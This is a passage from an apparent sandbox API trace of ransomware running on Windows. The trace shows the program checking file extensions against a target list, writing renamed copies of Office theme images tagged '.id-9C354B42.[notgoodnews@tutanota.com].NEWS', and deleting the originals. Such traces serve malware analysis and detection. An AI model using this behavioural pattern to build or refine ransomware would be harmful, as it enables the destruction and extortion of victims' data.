(lpString=".bz2") returned 4 [0071.785] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0071.785] lstrlenW (lpString=".7z") returned 3 [0071.785] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0071.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0071.785] lstrlenW (lpString=".dbf") returned 4 [0071.785] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0071.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0071.786] lstrlenW (lpString=".1cd") returned 4 [0071.786] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0071.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0071.786] lstrlenW (lpString=".jpg") returned 4 [0071.786] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0071.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0071.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0071.786] lstrlenW (lpString=".doc") returned 4 [0071.786] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0071.786] lstrlenW (lpString=".docx") returned 5 [0071.786] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0071.786] lstrlenW (lpString=".pdf") returned 4 [0071.786] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0071.786] lstrlenW (lpString=".xls") returned 4 [0071.786] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0071.786] lstrlenW (lpString=".xlsx") returned 5 [0071.786] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0071.786] lstrlenW (lpString=".ppt") returned 4 [0071.786] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0071.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0071.787] lstrlenW (lpString=".zip") returned 4 [0071.787] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0071.787] lstrlenW (lpString=".rar") returned 4 [0071.787] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0071.787] lstrlenW (lpString=".bz2") returned 4 [0071.787] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0071.787] lstrlenW (lpString=".7z") returned 3 [0071.787] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0071.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0071.787] lstrlenW (lpString=".dbf") returned 4 [0071.787] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0071.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0071.787] lstrlenW (lpString=".1cd") returned 4 [0071.787] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0071.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0071.787] lstrlenW (lpString=".jpg") returned 4 [0071.787] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0071.787] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0071.787] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0071.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0071.788] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=5179) returned 1 [0071.788] CloseHandle (hObject=0x208) returned 1 [0071.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 0x20 [0071.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0071.789] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.789] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0071.792] GetLastError () returned 0x0 [0071.792] ReadFile (in: hFile=0x208, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x143b, lpOverlapped=0x0) returned 1 [0071.795] WriteFile (in: hFile=0x1ec, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1440, lpOverlapped=0x0) returned 1 [0071.797] ReadFile (in: hFile=0x208, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.797] WriteFile (in: hFile=0x1ec, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0071.797] SetEndOfFile (hFile=0x1ec) returned 1 [0071.797] CloseHandle (hObject=0x1ec) returned 1 [0071.797] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.797] SetEndOfFile (hFile=0x208) returned 1 [0071.799] CloseHandle (hObject=0x208) returned 1 [0071.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0071.800] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 1 [0071.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0071.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0071.800] lstrlenW (lpString=".doc") returned 4 [0071.800] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0071.800] lstrlenW (lpString=".docx") returned 5 [0071.800] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0071.800] lstrlenW (lpString=".pdf") returned 4 [0071.800] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0071.800] lstrlenW (lpString=".xls") returned 4 [0071.800] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0071.800] lstrlenW (lpString=".xlsx") returned 5 [0071.800] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0071.800] lstrlenW (lpString=".ppt") returned 4 [0071.800] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0071.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0071.800] lstrlenW (lpString=".zip") returned 4 [0071.800] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0071.800] lstrlenW (lpString=".rar") returned 4 [0071.800] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0071.801] lstrlenW (lpString=".bz2") returned 4 [0071.801] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0071.801] lstrlenW (lpString=".7z") returned 3 [0071.801] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0071.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0071.801] lstrlenW (lpString=".dbf") returned 4 [0071.801] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0071.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0071.801] lstrlenW (lpString=".1cd") returned 4 [0071.801] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0071.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0071.801] lstrlenW (lpString=".jpg") returned 4 [0071.801] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0071.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0071.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0071.801] lstrlenW (lpString=".doc") returned 4 [0071.801] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0071.801] lstrlenW (lpString=".docx") returned 5 [0071.801] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0071.801] lstrlenW (lpString=".pdf") returned 4 [0071.801] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0071.801] lstrlenW (lpString=".xls") returned 4 [0071.802] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0071.802] lstrlenW (lpString=".xlsx") returned 5 [0071.802] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0071.802] lstrlenW (lpString=".ppt") returned 4 [0071.802] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0071.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0071.802] lstrlenW (lpString=".zip") returned 4 [0071.802] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0071.802] lstrlenW (lpString=".rar") returned 4 [0071.802] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0071.802] lstrlenW (lpString=".bz2") returned 4 [0071.802] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0071.802] lstrlenW (lpString=".7z") returned 3 [0071.802] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0071.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0071.802] lstrlenW (lpString=".dbf") returned 4 [0071.802] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0071.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0071.802] lstrlenW (lpString=".1cd") returned 4 [0071.802] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0071.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0071.802] lstrlenW (lpString=".jpg") returned 4 [0071.802] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0071.803] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0071.803] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0071.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0071.804] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=33559) returned 1 [0071.804] CloseHandle (hObject=0x208) returned 1 [0071.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 0x20 [0071.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0071.804] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.804] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0071.805] GetLastError () returned 0x0 [0071.805] ReadFile (in: hFile=0x208, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x8317, lpOverlapped=0x0) returned 1 [0072.560] WriteFile (in: hFile=0x1ec, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x8320, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x8320, lpOverlapped=0x0) returned 1 [0072.562] ReadFile (in: hFile=0x208, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0072.562] WriteFile (in: hFile=0x1ec, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0072.562] SetEndOfFile (hFile=0x1ec) returned 1 [0072.563] CloseHandle (hObject=0x1ec) returned 1 [0072.563] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.563] SetEndOfFile (hFile=0x208) returned 1 [0072.564] CloseHandle (hObject=0x208) returned 1 [0072.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0072.564] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 1 [0072.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0072.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0072.565] lstrlenW (lpString=".doc") returned 4 [0072.565] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0072.565] lstrlenW (lpString=".docx") returned 5 [0072.565] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0072.565] lstrlenW (lpString=".pdf") returned 4 [0072.565] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0072.565] lstrlenW (lpString=".xls") returned 4 [0072.565] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0072.565] lstrlenW (lpString=".xlsx") returned 5 [0072.565] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0072.565] lstrlenW (lpString=".ppt") returned 4 [0072.565] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0072.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0072.565] lstrlenW (lpString=".zip") returned 4 [0072.565] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0072.565] lstrlenW (lpString=".rar") returned 4 [0072.565] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0072.565] lstrlenW (lpString=".bz2") returned 4 [0072.565] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0072.565] lstrlenW (lpString=".7z") returned 3 [0072.565] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0072.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0072.565] lstrlenW (lpString=".dbf") returned 4 [0072.565] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0072.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0072.565] lstrlenW (lpString=".1cd") returned 4 [0072.565] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0072.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0072.565] lstrlenW (lpString=".jpg") returned 4 [0072.565] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0072.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0072.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0072.565] lstrlenW (lpString=".doc") returned 4 [0072.565] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0072.566] lstrlenW (lpString=".docx") returned 5 [0072.566] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0072.566] lstrlenW (lpString=".pdf") returned 4 [0072.566] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0072.566] lstrlenW (lpString=".xls") returned 4 [0072.566] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0072.566] lstrlenW (lpString=".xlsx") returned 5 [0072.566] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0072.566] lstrlenW (lpString=".ppt") returned 4 [0072.566] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0072.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0072.566] lstrlenW (lpString=".zip") returned 4 [0072.566] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0072.566] lstrlenW (lpString=".rar") returned 4 [0072.566] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0072.566] lstrlenW (lpString=".bz2") returned 4 [0072.566] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0072.566] lstrlenW (lpString=".7z") returned 3 [0072.566] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0072.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0072.566] lstrlenW (lpString=".dbf") returned 4 [0072.566] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0072.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0072.566] lstrlenW (lpString=".1cd") returned 4 [0072.566] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0072.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0072.566] lstrlenW (lpString=".jpg") returned 4 [0072.566] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0072.566] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0072.567] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0072.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0072.567] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1659) returned 1 [0072.567] CloseHandle (hObject=0x208) returned 1 [0072.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 0x20 [0072.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0072.567] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.567] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0072.569] GetLastError () returned 0x0 [0072.569] ReadFile (in: hFile=0x208, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x67b, lpOverlapped=0x0) returned 1 [0072.576] WriteFile (in: hFile=0x1ec, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x680, lpOverlapped=0x0) returned 1 [0072.578] ReadFile (in: hFile=0x208, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0072.578] WriteFile (in: hFile=0x1ec, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0072.578] SetEndOfFile (hFile=0x1ec) returned 1 [0072.578] CloseHandle (hObject=0x1ec) returned 1 [0072.578] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.579] SetEndOfFile (hFile=0x208) returned 1 [0072.580] CloseHandle (hObject=0x208) returned 1 [0072.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0072.580] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 1 [0072.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0072.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0072.581] lstrlenW (lpString=".doc") returned 4 [0072.581] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0072.581] lstrlenW (lpString=".docx") returned 5 [0072.581] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0072.581] lstrlenW (lpString=".pdf") returned 4 [0072.581] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0072.581] lstrlenW (lpString=".xls") returned 4 [0072.581] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0072.581] lstrlenW (lpString=".xlsx") returned 5 [0072.581] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0072.581] lstrlenW (lpString=".ppt") returned 4 [0072.581] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0072.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0072.581] lstrlenW (lpString=".zip") returned 4 [0072.581] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0072.581] lstrlenW (lpString=".rar") returned 4 [0072.581] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0072.581] 